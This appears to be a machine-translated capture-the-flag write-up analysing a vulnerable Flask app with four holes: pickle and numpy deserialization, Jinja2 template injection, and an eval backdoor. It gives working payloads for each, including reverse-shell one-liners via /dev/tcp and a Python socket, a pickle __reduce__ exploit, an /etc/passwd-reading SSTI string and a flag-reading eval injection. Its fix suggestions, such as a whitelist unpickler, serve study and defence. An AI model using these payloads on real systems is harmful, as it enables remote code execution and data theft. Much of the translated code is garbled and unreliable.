1.python
from flask import Flask, request, render_template,send_from_directory, make_response from Archives import Archives import pickle,base64,os from jinja2 import Environment from random import choice import numpy import builtins import io import re app = Flask(__name__) Jinja2 = Environment() def set_str(type,str): retstr = "%s'%s'"%(type,str) print(retstr) return eval(retstr) def get_cookie(): check_format = ['class','+','getitem','request','args','subclasses','builtins','{','}'] return choice(check_format) @app.route('/') def index(): global Archives resp = make_response(render_template('index.html', Archives = Archives)) cookies = bytes(get_cookie(), encoding = "utf-8") value = base64.b64encode(cookies) resp.set_cookie("username", value=value) return resp @app.route('/Archive/<int:id>') def Archive(id): global Archives if id>len(Archives): return render_template('message.html', msg='文章ID不存在!', status='失败') return render_template('Archive.html',Archive = Archives[id]) @app.route('/message',methods=['POST','GET']) def message(): if request.method == 'GET': return render_template('message.html') else: type = request.form['type'][:1] msg = request.form['msg'] try: info = base64.b64decode(request.cookies.get('user')) info = pickle.loads(info) //pickle反序列化 username = info["name"] except Exception as e: Print (E) username = " the Guest " IF len (MSG)> 27 : return the render_template ( ' Message.html ' , MSG = ' Message too long! ' , Status = ' message failed ' ) MSG = msg.replace ( ' ' , ' ' ) MSG = msg.replace ( ' _ ' , ' ' ) retstr = set_str (type, msg) return render_template('message.html',msg=retstr,status='%s,留言成功'%username) @app.route('/hello',methods=['GET', 'POST']) def hello(): username = request.cookies.get('username') username = str(base64.b64decode(username), encoding = "utf-8") data = Jinja2.from_string("Hello , " + username + '!').render() is_value = False return render_template('hello.html', msg=data,is_value=is_value) @app.route('/getvdot',methods=['POST','GET']) def getvdot(): if request.method == 'GET': return render_template('getvdot.html') else: matrix1 = base64.b64decode(request.form['matrix1']) matrix2 = base64.b64decode(request.form['matrix2']) try: matrix1 = numpy.loads(matrix1) matrix2 = numpy.loads(matrix2) except Exception as e: print(e) result = numpy.vdot(matrix1,matrix2) print(result) return render_template('getvdot.html',msg=result,status='向量点积') @app.route('/robots.txt',methods=['GET']) def texts(): return send_from_directory('/', 'flag', as_attachment=True) if __name__ == '__main__': app.run(host='0.0.0.0',port='5000',debug=True)
The first hole: pickle deserialization
= base64.b64decode info (request.cookies.get ( ' User ' )) info = The pickle.loads (info) // the pickle deserialization
Execute commands for common python libraries are:
os,subprocess,command
os.system('ifconfig') os.popen('ifconfig') commands.getoutput('ifconfig') commands.getstatusoutput('ifconfig') subprocess.call(['ifconfig'],shell=True)
as well as
map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',]) sys.call_tracing(__import__('os').system,('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',)) platform.popen("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")
Then the easiest course exp command is performed by os.system:
import pickle import os import subprocess import base64 as b64 class genpoc(object): def __reduce__(self): s = """whoami""" return os.system,(s,) evil = b64.b64encode(pickle.dumps(genpoc())) pickle.loads(b64.b64decode(evil))
cPickle pickle and can be deserialized, cPickle little faster, can generate a payload read flag batch
__reduce__ command module for performing the function returns the tuple of course be replaced, based on the blacklist when the defense, like the system directly ban the library:
if "os" or "subprocess" or "commands" or "platform" in pickle.dumps(genpoc()): exit(0)
Blacklist-based approach may exist may be bypassed, the best way is based on the white list:
The original function of pickle loads as described above, the reference https://www.jianshu.com/p/8fd3de5b4843 can add a determination before returning the serialized object:
class genpoc(object): def __reduce__(self): s = """whoami""" return os.system,(s,) evil = pickle.dumps(genpoc()) allow_list = [str, int, float, bytes, unicode] class FilterException(Exception): def __init__(self, value): super(FilterException, self).__init__('the callable object {value} is not allowed'.format(value=str(value))) def a(func): def wrapper(*args, **kwargs): if args[0].stack[-2] in allow_list: raise FilterException(args[0].stack[-2]) return func(*args, **kwargs) return wrapper def loads(evil): #global evil file = StringIO(evil) temp = Unpickler(file) temp.dispatch[REDUCE] = a(temp.dispatch[REDUCE]) return temp.load() loads(evil)
This allows the defense to live pickle deserialization vulnerability, here is the reason it looks like this: function to be called because we passed in __reduce__ for as os.system, parameters whoami, __ reduce__ returns a tuple ,
At this time, as long as the detection __reduce__ variables can be,
In the pickle source, it is possible to reduce the operating variables REDUCE properties dispatch class object Unpickler
Wherein the stack is actually stored variables System built-in functions, then you can by args [0] .stack system prior to [-2] to obtain the __reduce__ defined, then as long as the value of the value will be the whitelist comparison can be.
Second hole:CVE-2019-8341 jinja2 ssti
Vulnerabilities code:
@app.route('/hello',methods=['GET', 'POST']) def hello(): username = request.cookies.get('username') username = str(base64.b64decode(username), encoding = "utf-8") data = Jinja2.from_string("Hello , " + username + '!').render() is_value = False return render_template('hello.html', msg=data,is_value=is_value)
This hole is because from_string pot, jinja2 version less than 2.10,
exploitdb also gave specific payload:
Read / etc / passwd
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
Rebound shell:
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}
Repair, then you can direct filtration username in. Point to
Third hole: CVE-2019-6446 numpy deserialization
@app.route('/getvdot',methods=['POST','GET']) def getvdot(): if request.method == 'GET': return render_template('getvdot.html') else: matrix1 = base64.b64decode(request.form['matrix1']) matrix2 = base64.b64decode(request.form['matrix2']) try: matrix1 = numpy.loads(matrix1) matrix2 = numpy.loads(matrix2) except Exception as e: print(e) result = numpy.vdot(matrix1,matrix2) print(result) return render_template('getvdot.html',msg=result,status='向量点积')
When reading numpy.loads string, also using the pickle loads reads serialized string
So long as the use of the sequence constructed pickle poc, passed to numpy.loads (), it is possible to achieve the same effect
import numpy import pickle import os class genpoc(object): def __reduce__(self): s = """whoami""" return os.system,(s,) evil = pickle.dumps(genpoc()) print evil numpy.loads(evil)
Defense can refer to: https://github.com/numpy/numpy/commit/a2bd3a7eabfe053d6d16a2130fdcad9e5211f6bb
Because here numpy.loads actually calls pickle.loads, so it can follow the whitelist or blacklist repair pickle way prohibit some objects can be called to execute the command.
The fourth hole: eval back door
= Request.Form type [ ' type ' ] [:. 1 ] MSG = Request.Form [ ' MSG ' ] IF len (MSG)> 27 : return the render_template ( ' Message.html ' , MSG = ' Message too long! ' , Status = ' message failed ' ) MSG = msg.replace ( ' ' , '' ) MSG = msg.replace ( ' _ ' , '' )
Direct execution here eval, and the type and str are controllable, but you need to bypass the previous limit, limit type as a character here, we just closed 'single quote, poc can be:
Read flag can be:
set_str("'","+os.system('cat${IFS}/f*')#")
Such payload is exactly 27 characters, you can obtain flag
Repair method is very simple:
It can filter out the slash /